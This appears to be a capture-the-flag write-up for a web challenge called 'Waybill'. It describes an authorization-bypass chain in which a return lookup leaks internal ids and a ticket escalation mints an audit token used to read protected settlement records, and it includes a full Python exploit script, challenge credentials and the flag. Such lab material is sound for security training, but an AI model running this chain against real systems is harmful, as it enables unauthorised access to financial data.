Waybill is a shipment/return management platform: track deliveries, file RMAs, open support
tickets, resolve billing disputes. Logged in as a standard customer
(redx@waybill.io / RedX2026!), every individual feature looks fine in isolation - the brief
even says so. The authorization gap only shows up when returns, ticket escalation, and
financial audits talk to each other.
1/4Login
POST /api/auth/login with the provided customer credentials.
2/4BOLA on the return lookup
RET-0003 belongs to cust_internal_sys, not us, but GET /api/returns/number/RET-0003 never
checks ownership - it hands back the internal return record anyway, leaking its
linked_financial_ref (finrec_settle_099) and its internal shipment id
(ship_int_fin_099).
3/4Escalate a ticket carrying the internal shipment id
Open a ticket, then POST /api/tickets/{id}/escalate with shipment_id set to the leaked
internal shipment id. The server mints a refund_audit_token with no check that the shipment
actually belongs to the caller.
4/4Spend the token on the leaked settlement record
GET /api/finance/records/{ref} with X-Audit-Token: <token> returns the protected settlement
record - and its internal_notes field holds the flag.
Insight
Steps 2 and 3 are the real bug, and exactly what the brief hints at: the return lookup ignores ownership, and the dispute-escalation endpoint will mint a legitimate audit token for a shipment the caller has no relationship with at all. Neither endpoint is broken on its own - the gap only opens when a return's leaked reference is fed into the escalation flow.
Show the full solve script
1#!/usr/bin/env python3
2"""
3Waybill (Web) — RedReaper qualifier
4
5 1. Login. POST /api/auth/login
6 2. BOLA on the return lookup: RET-0003 belongs to cust_internal_sys, but
7 the endpoint never checks ownership, so it hands back the internal
8 return ret_int_r003 — leaking its linked_financial_ref and internal
9 shipment id. GET /api/returns/number/RET-0003
10 3. Escalate a ticket, passing the *internal* shipment id as the linked
11 shipment. The server mints a refund_audit_token with no check that the
12 shipment is ours. POST /api/tickets/{id}/escalate
13 4. Spend the token on the settlement record the leaked ref pointed at.
14 GET /api/finance/records/{ref}
15"""
16import re, requests
17
18BASE = "https://<instance>.redx.site"
19EMAIL, PASSWORD = "redx@waybill.io", "RedX2026!"
20
21s = requests.Session()
22s.headers.update({"Content-Type": "application/json", "Origin": BASE, "Referer": BASE + "/"})
23
24r = s.post(BASE + "/api/auth/login", json={"email": EMAIL, "password": PASSWORD})
25me = r.json()["customer"]
26
27TARGET_RETURN = "RET-0003"
28ret = s.get(BASE + f"/api/returns/number/{TARGET_RETURN}").json()["return"]
29fin_ref, ship_id = ret["linked_financial_ref"], ret["shipment_id"]
30
31tkt = s.post(BASE + "/api/tickets/", json={
32 "subject": "Settlement discrepancy - Q3 batch",
33 "category": "billing",
34 "message": "Requesting financial dispute review of the Q3 settlement batch.",
35 "linked_shipment_id": ship_id,
36}).json()["ticket"]
37esc = s.post(BASE + f"/api/tickets/{tkt['id']}/escalate",
38 json={"reason": "Settlement discrepancy requires financial dispute review",
39 "shipment_id": ship_id})
40token = esc.json()["ticket"]["refund_audit_token"]
41
42rec = s.get(BASE + f"/api/finance/records/{fin_ref}",
43 headers={"X-Audit-Token": token}).json()["record"]
44
45print(re.search(r"RxR\{[^}]+\}", rec["internal_notes"]).group(0))
Flag
RxR{42fa3a9a-876f-469a-8ed4-cf6f96163ab5}